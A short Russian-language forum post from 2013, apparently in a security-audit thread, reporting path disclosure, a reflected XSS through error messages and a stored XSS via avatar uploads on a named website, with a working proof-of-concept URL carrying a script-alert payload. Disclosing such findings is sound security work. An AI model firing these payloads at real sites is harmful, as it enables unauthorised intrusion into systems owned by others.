Тема: Аудит.
Показать сообщение отдельно
Старый 30.03.2013, 08:46   #3
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

FDP, XSS через отображение ошибок
http://dev2acodemy.sellfiles.ru/services/profile/complete?userid=40<script>alert(1)</script>

Хранимые XSS через аватары
http://dev2acodemy.sellfiles.ru/image/profile/pechal.html
BlackFan вне форума